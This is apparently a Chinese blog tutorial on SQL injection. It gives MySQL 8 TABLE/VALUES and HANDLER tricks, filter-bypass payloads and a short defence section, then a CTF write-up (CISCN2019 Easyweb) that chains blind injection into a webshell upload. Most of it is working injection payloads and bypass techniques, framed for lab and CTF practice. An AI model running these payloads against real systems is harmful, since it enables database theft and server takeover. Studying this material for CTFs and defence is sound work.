1 | $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; |
思路比较明确,当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成
1 | SELECT * FROM admin WHERE pass = ''or'6<trash>' |
很明显可以注入了。
难点就在如何寻找这样的字符串.
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串: ‘or’6
3.8 LIKE注入
like匹配
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。
1.like ‘s%’判断第一个字符是否为s
1 | union select 1,database() like 's%',3 --+ |
2.like ‘se%’判断前面两个字符串是否为se
1 | union select 1,database() like 'se%',3 --+ |
3.like ‘%sq%’ 判断是否包含se两个字符串
1 | union select 1,database() like '%se%',3 --+ |
4.like ‘_____’判断是否为5个字符
1 | union select 1,database() like '_____',3 --+ |
5.like ‘s____’ 判断第一个字符是否为s
1 | union select 1,database() like 's____',3 --+ |
3.9 mysql8新特性注入
详情:https://www.anquanke.com/post/id/231627
0x01 mysql8语法新特征
在MySQL 8.0.19之后,MySQL推出几种新语法
1.TABLE STATEMENT
作用:列出表中所有内容
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
例子:
1 | mysql> TABLE users; |
加上order by排序或LIMIT限制后
1 | table users order by password; |
与SELECT的区别:
1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
2.VALUES statement
VALUES statement
作用:列出一行的值
1 | VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] |
VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。
ROW()返回的是一个行数据,VALUES将ROW()返回的行数据
加上字段
整理为一个表,然后展示
例子:
1 | mysql> VALUES ROW(1, 2, 3); |
0x02 利用MySQL8新特性绕过select
场景:select关键词被过滤,多语句无法使用
1.判断列数
由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数
1 | TABLE users union VALUES ROW(1,2,3); |
2.使用values判断回显位
1 | select * from users where id=-1 union values row(1,2,3); |
3.列出所有数据库名
1 | table information_schema.schemata; |
4.盲注查询任意表中的内容
语句table users limit 1;的查询结果:
1 | mysql> table users limit 1; |
实质上是(id, username, password)与(1, ‘Dumb’, ‘Dumb’)进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。
1 | mysql> select ((1,'','')<(table users limit 1)); |
需要注意的地方
1.当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!
2.最好用<=替换<,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观。
最终判断过程如下:
1 | mysql> select ((1,'Dumb','Dumb')<=(table users limit 1)); |
例题:在sqli-labs靶场测试
1.判断列数
使用经典的order by语句判断:
1 | 1' order by 3--+ #正常 |
说明有3列
2.使用values判断回显位
1 | -1' union values row(1,2,3)--+ |
3.爆库爆表爆字段爆数据
(1)爆当前数据库
1 | -1' union values row(1,database(),3)--+ |
(2)爆所有数据库
因为table不能像select控制列数,除非列数一样的表,不然都回显不出来。
需要使用table查询配合无列名盲注
information_schema.schemata表有6列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名
1 | 1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常 |
说明第1个数据库名为mysql
1 | 1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常 |
一直猜解,直到获得全部数据库名
(3)爆数据表
information_schema.tables表有21列
1 | 1' and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 317,1)--+ #第一个表users |
前两个字段都是确定的,可以写一个for循环判断,如果结果为真,代表从那行开始(这里是limit 317,1,即第318行),然后盲注第三个列。
(4)爆字段名
information_schema.columns表有22列
得到所有表名后开始判断字段名,找到columns表,具体方法和上面一样
1 | 1' and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3386,1)--+ #users表第一个字段为id |
(3)爆数据
1 | 1' and (1,'D','')<=(table users limit 1)--+ #正常 |
得到第1个记录为1 Dumb Dumb
1 | 1' and (8,'admin','admin')<=(table users limit 7,1)--+ #正常 |
得到第8个记录为8 admin admin
一步一步注出数据
脚本
1 | ''' |
3.10 handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
用法:
HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE来关闭打开的句柄。
最后
1 | 1'; |
例题:[GYCTF2020]Blacklist
堆叠注入:
注入点:
1 | 1';show tables# |
使用handler进行payload:
1 | 1';handler `FlagHere` open;handler `FlagHere` read first;# |
强网杯2019随便注同理。
4.sql注入绕过
4.1 过滤空格
0x01 使用注释符/**/绕过
1 | SELECT/**/name/**/FROM/**/table |
0x02 使用url编码绕过
1 | %a0 发出去就是空格的意思,但是需要在burp中抓包后修改 |
0x03 使用浮点数绕过
1 | select * from users where id=8E0union select 1,2,3 |
0x04 使用Tab替代空格
0x05 使用两个空格替代一个空格
0x06 使用括号绕过
如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
1 | select(user())from dual where(1=1)and(2=2) |
这种过滤方法常常用于time based盲注,例如:
1 | ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23 |
4.2 过滤引号
使用16进制绕过
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
1 | select column_name from information_schema.columns where table_name="users" |
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users的十六进制的字符串是7573657273。那么最后的sql语句就变为了
1 | select column_name from information_schema.columns where table_name=0x7573657273 |
4.3过滤逗号
1.使用from关键字绕过
对于substr()和mid()这两个方法可以使用from for的方式来解决:
1 | select substr(database() from 1 for 1); |
2.使用join关键字绕过
1 | union select 1,2 |
3.使用like关键字绕过
1 | select ascii(mid(user(),1,1))=80 #等价于 |
4.使用offset关键字绕过
对于limit可以使用offset来绕过:
1 | select * from news limit 0,1 |
4.4过滤注释符(#和-)
手动闭合引号,不使用注释符
1 | id=1' union select 1,2,3||'1 |
或者
1 | id=1' union select 1,2,'3 |
4.5过滤比较符号(<和>)
1.使用greatest()、least()函数绕过
greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了
最常见的一个盲注的sql语句:
1 | select * from users where id=1 and ascii(substr(database(),0,1))>64 |
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值
那么上面的这条sql语句可以使用greatest变为如下的子句:
1 | select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64 |
使用between and绕过
between a and b:返回a,b之间的数据,不包含b。
4.6过滤等号
使用like 、rlike 、regexp 或者 使用< 或者 >
4.7 过滤union,select,where等
1.使用注释符绕过
常用注释符:
1 | //、--、/**/、#、--+、---、;、%00、--a |
用法:
1 | U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user |
2.使用大小写绕过
1 | id=-1'UnIoN/**/SeLeCT |
3.使用内联注释绕过
1 | id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()# |
4.使用双关键字绕过(若删除掉第一个匹配的union就能绕过)
1 | id=-1'UNIunionONSeLselectECT1,2,3–- |
5.使用加号+拆解字符串
1 | or 'swords' ='sw' +'ords' ;EXEC('IN' +'SERT INTO'+'…..' ) |
6.使用语法新特性绕过屏蔽select
在MySQL 8.0.19版本后,mysql推出了一些新特性,使我们可以不使用select就能够取数据
TABLE 语句
可以直接列出表的全部内容
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
如 select * from user 就可以用 table user 替代来进行绕过
VALUES 语句
可以列出一行的值
1 | VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] |
例如直接列出一行的值
1 | VALUES ROW(1,2,3), ROW(4,5,6); |
VALUES和TABLES语句的结果都是表数据,可以结合起来使用
4.8 其他
使用多语句的方式执行
1 | set @a:=0x73656c656374202a2066726f6d2074657374; |
5.防止SQL注入
5.1 严格管理数据类型
Java、C#等强类型语言几乎可以完全忽略数字型注入。例如请求id为1的学号,url可能为xxxx/xxxx?id=1,在程序代码中就可能为:
1
2int id =Integer.parseInt(request.getParameter("id"));//接受id参数,并转换为int类型
Number number=numberDao.findNumberId(id);//查询学号如上诉类型转换,足以抵挡数字型注入
2.PHP、ASP等没有强制要求处理数据类型,这类语言会根据参数自动推导出数据类型。假设ID=1,则推到ID的数据类型为Integer;当ID=字符串时,则推导ID的数据类型为string,这一特点在弱类型语言中是危险的。例如:
1 | $id=$_GET['id']; |
攻击者就可以把id=1 and 1=2 union select username,password from users;– 造成sql注入漏洞
要防御此类漏洞,只需要在程序严格判断数据类型即可。如:使用is_number()、ctype_digit()等函数判断数据类型。
5.2 特殊字符转义
对敏感字符进行转义,如单引号、逗号、括号、union select等等
ps:特别注意要留意是否存在二次注入
5.3 使用预编译语句
1 | $query = "INSERT INTO myCity (Name, CountryCode, Distrit) VALUES (?,?,?)"; |
这是PHP使用预编译语句的一个例子,在这个例子中,先预编译SQL语句,将变量用?表示。当用户输入参数时,通过bindParam()函数绑定,将输入当做整体传给预编译SQL语句来执行,不会出现执行拼接字符的情况,避免了SQL注入攻击。
5.4 利用框架
在众多框架中,有一类框架专门与数据库打交道,被称为持久层框架,比较有代表性的是Hibernate、MyBatis、JORM等。
5.5 存储过程
在数据库中编写好存储过程,使用存储过程处理数据。
6.例题
6.1 [CISCN2019 总决赛 Day2 Web1]Easyweb
开局一个登录界面,扫描后发现robots.txt
目前为止,知道index.php 、user.php和image.php(查看源码发现)
一个个试,发现是image.php.bak
1 |
|
代码审计
- addlashes会把单引号、双引号、反斜杠、空字符前面加一个反斜杠\
- 将传入的id和path进行过滤,将\0 %00 \‘ 和’ 替换为空
- 会进行sql语句查询
- 综上所述,要做的就是绕过过滤,做到sql注入
当传入id=\0时,这样会被转义成\\0,然后\0被替换为空,只剩下了一个\,这个反斜杠正好可以转义后面的查询语句中闭合id的单引号。之后我们就可以在path处注入语句。
1 | select * from images where id='\' or path='{$path}' |
payload:
1 | image.php?id=\\0&path=xxxxxxxxxxxxxxxxxxxxxxxxxxx |
当path条件为真是有图像
1 | ?id=\\0&path= or ascii(substr(database(),1,1))>1 %23 |
当path为假时,没图像且报错
1 | ?id=\\0&path= or ascii(substr(database(),1,1))<1 %23 |
因此,可以用bool盲注
编写脚本,脚本里有各种爆破payload
1 | import requests |
ps:payload中的%%
其实就用于SQL语句时相当于一个%
,用%%代替%
加上是为了避免报错
爆出用户名为admin 密码为d3687cdc9c6395381248
登陆进去后,有个上传表单
随便上传一个一句话试试
上传一张图片试试
访问logs/upload.b97e0446eef7947f6b166ad3bc8fdfc4.log.php
可以看到,我上传过的所有文件名都被写进了这个php文件里面。那我就将一句话当作文件名上传
发现被过滤了,查找其他方法
1 | 1.当仅禁用<?php时,可以使用<? ?> |
方法二奏效
蚁剑连接拿flag即可